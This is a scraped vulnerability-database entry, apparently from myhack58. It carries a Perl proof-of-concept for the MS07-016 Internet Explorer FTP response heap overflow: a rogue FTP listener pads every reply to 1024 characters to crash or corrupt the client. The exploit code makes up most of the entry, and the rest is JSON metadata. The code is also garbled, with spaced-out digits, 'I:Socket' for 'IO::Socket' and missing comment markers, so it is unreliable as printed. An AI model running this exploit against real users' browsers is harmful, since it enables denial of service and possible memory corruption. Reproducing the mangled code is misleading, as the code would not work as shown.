ID MYHACK58:62200714627Type myhack58Reporter 佚名Modified 2007-03-19T00:00:00
Description
!/ usr/bin/perl
MS 07-016 FTP Server Response PoC
Usage: ./ ms07016ftp.pl [LISTEN_IP]
Tested Against: MSIE 6.02900.2180 (SP2)
Details: The response is broken into buffers, either at length 1 0 2 4,
or at '\r\n'. Each buffer is apended with \x00, without
bounds checking. If the response is exctly 1 0 2 4 characters
in length, you will overflow the heap with the string \x00.
use I:Socket;
use strict;
Create listener
my $ip=shift || '127.0.0.1';
my $sock = I:Socket::INET->new(Listen=>1,
LocalHost=>$ip,
LocalPort=>'2 1',
Proto=>'tcp');
$sock or die ("Could not create listener.\ nMake sure no FTP server is running, and you are running this as root.\ n");
Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "2 2 0 waa waa wee waa\r\n";
Send response code with total lenght of response = 1 0 2 4
while (<$sock_in>){
my $response;
if($ eq "USER") { $response="3 3 1 ";}
elsif($ eq "PASS") { $response="2 3 0 ";}
elsif($ eq "syst") { $response="2 1 5 ";}
elsif($ eq "CWD") { $response="2 5 0 ";}
elsif($_ eq "PWD") { $response="2 3 0 ";}
else { $response="2 0 0 ";}
print $sock_in $response." A"x(1 0 2 4-length($response)-2)."\ r\n";
}
close($sock);
{"type": "myhack58", "published": "2007-03-19T00:00:00", "reporter": "\u4f5a\u540d", "objectVersion": "1.2", "bulletinFamily": "info", "cvelist": [], "cvss": {"vector": "NONE", "score": 0.0}, "hash": "c22b560b9c2390bf51ad3b7b0715c3f945788c9892ebdf6474d6f20e58ef0b40", "enchantments": {"score": {"value": 0.0, "vector": "NONE", "modified": "2016-11-10T18:28:48"}, "dependencies": {"references": [], "modified": "2016-11-10T18:28:48"}, "vulnersScore": 0.0}, "lastseen": "2016-11-10T18:28:48", "viewCount": 0, "id": "MYHACK58:62200714627", "history": [], "references": [], "edition": 1, "hashmap": [{"key": "bulletinFamily", "hash": "caf9b6b99962bf5c2264824231d7a40c"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "662b483535b3079292ab1b4639087762"}, {"key": "href", "hash": "34b20d80708940de7ab06edfffc7a3c3"}, {"key": "modified", "hash": "f3f777b39acb541800cf74c686217c97"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "f3f777b39acb541800cf74c686217c97"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "645396391020478112635e14b34a0f8b"}, {"key": "title", "hash": "7ccef664c02d2b5000c2510d0e41ce67"}, {"key": "type", "hash": "0665a8b0792e65b50ab13aef58a018dc"}], "href": "http://www.myhack58.com/Article/html/3/62/2007/14627.htm", "modified": "2007-03-19T00:00:00", "title": "MS Internet Explorer (FTP Server Response) DoS Exp-vulnerability warning-the black bar safety net", "description": "#!/ usr/bin/perl \n\n# MS 07-016 FTP Server Response PoC \n# Usage: ./ ms07016ftp.pl [LISTEN_IP] \n# \n# Tested Against: MSIE 6.02900.2180 (SP2) \n# \n# Details: The response is broken into buffers, either at length 1 0 2 4, \n# or at '\\r\\n'. Each buffer is apended with \\x00, without \n# bounds checking. If the response is exctly 1 0 2 4 characters \n# in length, you will overflow the heap with the string \\x00. \n\n\nuse I:Socket; \nuse strict; \n\n# Create listener \nmy $ip=shift || '127.0.0.1'; \nmy $sock = I:Socket::INET->new(Listen=>1, \nLocalHost=>$ip, \nLocalPort=>'2 1', \nProto=>'tcp'); \n$sock or die (\"Could not create listener.\\ nMake sure no FTP server is running, and you are running this as root.\\ n\"); \n\n# Wait for initial connection and send banner \nmy $sock_in = $sock->accept(); \nprint $sock_in \"2 2 0 waa waa wee waa\\r\\n\"; \n\n# Send response code with total lenght of response = 1 0 2 4 \nwhile (<$sock_in>){ \nmy $response; \nif($_ eq \"USER\") { $response=\"3 3 1 \";} \nelsif($_ eq \"PASS\") { $response=\"2 3 0 \";} \nelsif($_ eq \"syst\") { $response=\"2 1 5 \";} \nelsif($_ eq \"CWD\") { $response=\"2 5 0 \";} \nelsif($_ eq \"PWD\") { $response=\"2 3 0 \";} \nelse { $response=\"2 0 0 \";} \nprint $sock_in $response.\" A\"x(1 0 2 4-length($response)-2).\"\\ r\\n\"; \n} \nclose($sock);\n"}
{}
